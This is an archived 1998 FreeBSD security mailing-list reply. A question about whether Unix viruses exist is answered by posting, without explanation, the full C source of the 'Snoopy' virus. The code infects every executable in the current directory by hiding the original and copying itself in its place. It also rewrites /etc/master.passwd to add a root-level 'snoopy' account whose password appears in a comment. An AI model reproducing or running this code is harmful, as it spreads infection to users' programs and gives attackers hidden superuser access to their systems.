Date: Wed, 20 May 1998 22:19:44 GMT From: ark@eltex.spb.ru To: egravel@elr346.ateng.az.honeywell.com Cc: freebsd-security@FreeBSD.ORG Subject: Re: Virus on FreeBSD Message-ID: <199805202219.WAA09218@paranoid.eltex.spb.ru> In-Reply-To: <3562A6DB.3412BC8B@elr346.ateng.az.honeywell.com> from "Emmanuel Gravel <egravel@elr346.ateng.az.honeywell.com>"
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-----BEGIN PGP SIGNED MESSAGE-----
nuqneH,
Emmanuel Gravel <egravel@elr346.ateng.az.honeywell.com> said :
> I haven't heard of a virus made for a Unix-like OS before, but I'm
> wondering if this can be an issue with FreeBSD (or Linux for that
> matter). I'm saying this since they both run on the most common
> platform there is today, the PC. I know most virii were writen for
> DOS-like OS's, but it's my impression that the common point between
> both machines is the hardware.
>
> Can anyone either clear this for me, or point me in the right direction
> for some info?
>
> Thanks!
- ---
/* The Snoopy Virus for BSD Free Unix 2.0.2 (and others) */
/* (C) 1995 American Eagle Publications, Inc. All rights reserved! */
/* Compile with Gnu C, "gcc snoopy.c" */
#include <stdio.h>
#include <sys/types.h>
#include <dirent.h>
#include <sys/stat.h>
DIR *dirp; /* directory search structure */
struct dirent *dp; /* directory entry record */
struct stat st; /* file status record */
int stst; /* status call status */
FILE *host,*virus, *pwf; /* host and virus files. */
long FileID; /* 1st 4 bytes of host */
char buf[512]; /* buffer for disk reads/writes */
char *lc,*ld; /* used to search for X23 */
size_t amt_read,hst_size; /* amount read from file, host size */
size_t vir_size=13264; /* size of X23, in bytes */
char dirname[10]; /* subdir where X23 stores itself */
char hst[512];
/* snoopy super user entry for the password file, pw='A Snoopy Dog.' */
char snoopy[]="snoopy:$1$LOARloMh$fmBvM4NKD2lcLvjhN5GjF.:0:0::0:0:Nobody:/root:";
void readline() {
lc=&buf[1];
buf[0]=0;
while (*(lc-1)!=10) {
fread(lc,1,1,pwf);
lc++;
}
}
void writeline() {
lc=&buf[1];
while (*(lc-1)!=10) {
fwrite(lc,1,1,host);
lc++;
}
}
int main(argc, argv, envp)
int argc;
char *argv[], *envp[];
{
strcpy((char *)&dirname,"./\005"); /* set up host directory name */
dirp=opendir("."); /* begin directory search */
while ((dp=readdir(dirp))!=NULL) { /* have a file, check it out */
if ((stst=stat((const char *)&dp->d_name,&st))==0) { /* get status */
lc=(char *)&dp->d_name;
while (*lc!=0) lc++;
lc=lc-3; /* lc points to last 3 chars in file name */
if ((!((*lc=='X')&&(*(lc+1)=='2')&&(*(lc+2)=='3'))) /* "X23"? */
&&(st.st_mode&S_IXUSR!=0)) { /* and executable? */
strcpy((char *)&buf,(char *)&dirname);
strcat((char *)&buf,"/");
strcat((char *)&buf,(char *)&dp->d_name); /* see if X23 file */
strcat((char *)&buf,".X23"); /* exists already */
if ((host=fopen((char *)&buf,"r"))!=NULL) fclose(host);
else { /* no it doesn't - infect! */
host=fopen((char *)&dp->d_name,"r");
fseek(host,0L,SEEK_END); /* determine host size */
hst_size=ftell(host);
fclose(host);
if (hst_size>=vir_size) { /* host must be large than virus */
mkdir((char *)&dirname,S_IRWXU|S_IRWXG|S_IRWXO);
rename((char *)&dp->d_name,(char *)&buf); /* rename host */
if ((virus=fopen(argv[0],"r"))!=NULL) {
if ((host=fopen((char *)&dp->d_name,"w"))!=NULL) {
while (!feof(virus)) { /* and copy virus to orig */
amt_read=512; /* host name */
amt_read=fread(&buf,1,amt_read,virus);
fwrite(&buf,1,amt_read,host);
hst_size=hst_size-amt_read;
}
fwrite(&buf,1,hst_size,host);
fclose(host);
chmod((char *)&dp->d_name,S_IRWXU|S_IRWXG|S_IRWXO);
strcpy((char *)&buf,(char *)&dirname);
strcpy((char *)&buf,"/");
strcat((char *)&buf,(char *)&dp->d_name);
chmod((char *)&buf,S_IRWXU|S_IRWXG|S_IRWXO);
}
else
rename((char *)&buf,(char *)&dp->d_name);
fclose(virus); /* infection process complete */
} /* for this file */
else
rename((char *)&buf,(char *)&dp->d_name);
}
}
}
}
}
(void)closedir(dirp); /* infection process complete for this dir */
/* now see if we can get at the password file */
if ((pwf=fopen("/etc/master.passwd","r+"))!=NULL) {
host=fopen("/etc/mast.pw","w"); /* temporary file */
stst=0;
while (!feof(pwf)) {
readline(); /* scan the file for user "snoopy" */
lc=&buf[1];
if ((*lc=='s')&&(*(lc+1)=='n')&&(*(lc+2)=='o')&&(*(lc+3)=='o')&&
(*(lc+4)=='p')&&(*(lc+5)=='y')) stst=1;
writeline();
}
if (stst==0) { /* if no "snoopy" found */
strcpy((char *)&buf[1],(char *)&snoopy); /* add it! */
lc=&buf[1]; while (*lc!=0) lc++;
*lc=10;
writeline();
}
fclose(host);
fclose(pwf);
rename("/etc/mast.pw","/etc/master.passwd"); /* update master.passwd */
}
strcpy((char *)&buf,argv[0]); /* the host is this program's name */
lc=(char *)&buf; /* find end of directory path */
while (*lc!=0) lc++;
while (*lc!='/') lc--;
*lc=0; lc++;
strcpy((char *)&hst,(char *)&buf);
ld=(char *)&dirname+1; /* insert the ^E directory */
strcat((char *)&hst,(char *)ld); /* and put file name on the end */
strcat((char *)&hst,"/");
strcat((char *)&hst,(char *)lc);
strcat((char *)&hst,".X23"); /* with an X23 tacked on */
execve((char *)&hst,argv,envp); /* execute this program's host */
}
- ---
_ _ _ _ _ _ _
{::} {::} {::} CU in Hell _| o |_ | | _|| | / _||_| |_ |_ |_
(##) (##) (##) /Arkan#iD |_ o _||_| _||_| / _| | o |_||_||_|
[||] [||] [||] Do i believe in Bible? Hell,man,i've seen one!
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